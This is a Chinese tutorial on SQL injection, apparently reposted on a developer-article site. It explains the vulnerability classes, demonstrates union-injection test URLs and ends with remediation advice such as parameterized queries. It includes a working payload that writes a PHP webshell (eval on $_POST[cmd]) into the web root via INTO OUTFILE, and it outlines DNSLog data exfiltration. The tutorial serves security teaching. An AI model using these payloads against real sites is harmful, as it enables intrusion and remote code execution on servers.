| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> Web漏洞详解:SQL注入漏洞 -> 正文阅读 |
|
[PHP知识库]Web漏洞详解:SQL注入漏洞 |
工作多年后,我打算将Web漏洞做一个整理记录,一方面方便自己,另一方面方便想要学习或转行网络安全行业的小伙伴,从本文开始,我将从漏洞原理、漏洞测试、漏洞修复等方面详细讲解Web系列漏洞。 1.SQL注入漏洞原理SQL注入漏洞,就是通过把SQL命令插入到URL地址、Web表单提交或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL 命令。漏洞成因是程序没有对用户输入的内容进行安全检查,直接代入数据库进行查询,导致了sql注入的发生。 SQL注入漏洞包括:union注入、boolean注入、报错注入、时间盲注、堆叠查询注入、二次注入、宽字节注入、cookie注入、base64注入、XFF注入等。 2.SQL注入漏洞测试2.1SQL注入漏洞发现判断是否存在注入漏洞,使用单引号报错, and 1=1页面正常,and 1=2页面不正常,则判断存在sql注入漏洞。 2.2SQL注入漏洞手动测试上面说过SQL注入漏洞分了很多种类,受限于篇幅,这里只以union注入举例,其他将附上链接,感兴趣的小伙伴可以自行查看。 (1)union注入,又称联合注入,它是利用union和前面的一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同。 A.判断是否存在漏洞:(www.test.com为本地搭建环境) http://www.test.com/web/union.php?id=1 http://www.test.com/web/union.php?id=1' http://www.test.com/web/union.php?id=1 and 1=1 http://www.test.com/web/union.php?id=1 and 1=2 B.查询字段数量 http://www.test.com/web/union.php?id=1 order by 3 当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。 ?C.查询SQL语句插入位置 http://www.test.com/web/union.php?id=-1 union select 1,2,3 可以看到2,3位置可以插入SQL语句。 D.获取当前数据库库名 2位置修改为:database() http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3 源码:
union注入详解:https://blog.csdn.net/SouthWind0/article/details/82913183 (2)Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。 ?Boolean注入详解:https://blog.csdn.net/SouthWind0/article/details/82917798 (3)报错注入:输入'等字符,SQL语句报错,程序直接将错误信息输出到了页面上,就可以尝试利用报错注入来获取数据。常用到的函数:updatexml() 、extractvalue()、exp()、floor()等。 报错注入详解:https://blog.csdn.net/SouthWind0/article/details/82924149 (4)时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。 时间盲注详解:https://blog.csdn.net/SouthWind0/article/details/82926845 (5)堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。 堆叠查询注入详解:https://blog.csdn.net/SouthWind0/article/details/82929895 (6)二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。 二次注入详解:https://blog.csdn.net/SouthWind0/article/details/82931871 (7)宽字节注入:id=1’时并没有报错,但多了一个转义符,反斜杠,在地址后先加%df,再加单引号,因为反斜杠的编码是%5c,而GBK编中,%df%5c是繁体字的“連”,单引号成功逃逸。再使用注释符来注释后面多余的单引号。 宽字节注入详解:https://blog.csdn.net/SouthWind0/article/details/83342847 (8)cookie注入:指的是针对cookie数据进行注入。 cookie注入详解:https://blog.csdn.net/SouthWind0/article/details/83343914 (9)base64注入是针对传递的参数被base64加密后的注入点进行注入。这种方式常用来绕过一些WAF的检测。 Base64注入详解:https://blog.csdn.net/SouthWind0/article/details/83344880 (10)XFF注入:指的是针对X-Forwarded-For进行注入,X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。 ?XFF注入详解:https://blog.csdn.net/SouthWind0/article/details/83348706 2.3SQL注入漏洞自动化测试在真实的测试环境中,一般都是使用自动化工具进行测试SQL注入,sqlmap是当前安全工程师最喜欢使用的SQL注入自动化工具,它的基本用法如下:
2.4SQL注入漏洞深层次利用(1)手动利用 最常见的用法是利用SQL注入向服务器写入webshell,网站路径可以通过phpinfo()页面信息、系统信息、以及数据包泄露绝对路径获得。写入一句话利用(注意写入目录需要有权限),其中x为php文件名: select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/x'; 如下所示: http://xx.test/test/union.php?id=-1%20union%20select%201,2,%27%3C?php%20@eval($_POST[cmd]);?%3E%27%20into%20outfile%20%27/var/www/html/test/shell.php%27 (2)利用sqlmap
(3)DNSLog外带 对于SQL盲注(布尔盲注、时间盲注),以及只有DNS出网的SQL注入,我们可以利用DNSLog来获取信息。作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
3.SQL注入漏洞修复(1)建议不要直接拼接SQL语句,而应该使用预编译的方式进行参数化查询,这是解决此漏洞的根本方法。
(2)对用户的输入进行检验过滤,过滤危险字符,如:;、'、"、()、,、\、--+、#、and、or、union、select、where、limit、group、by、hex、substr。此种方法存在缺陷,一方面可能会影响业务,另一方面可能会存在绕过。 (3)为每个应用使用单独的、权限有限的数据库连接。 (4)机密信息应该加密,秘钥信息分开存放,这样即使数据泄露,攻击者也无法解密。 ? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/23 7:49:05- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |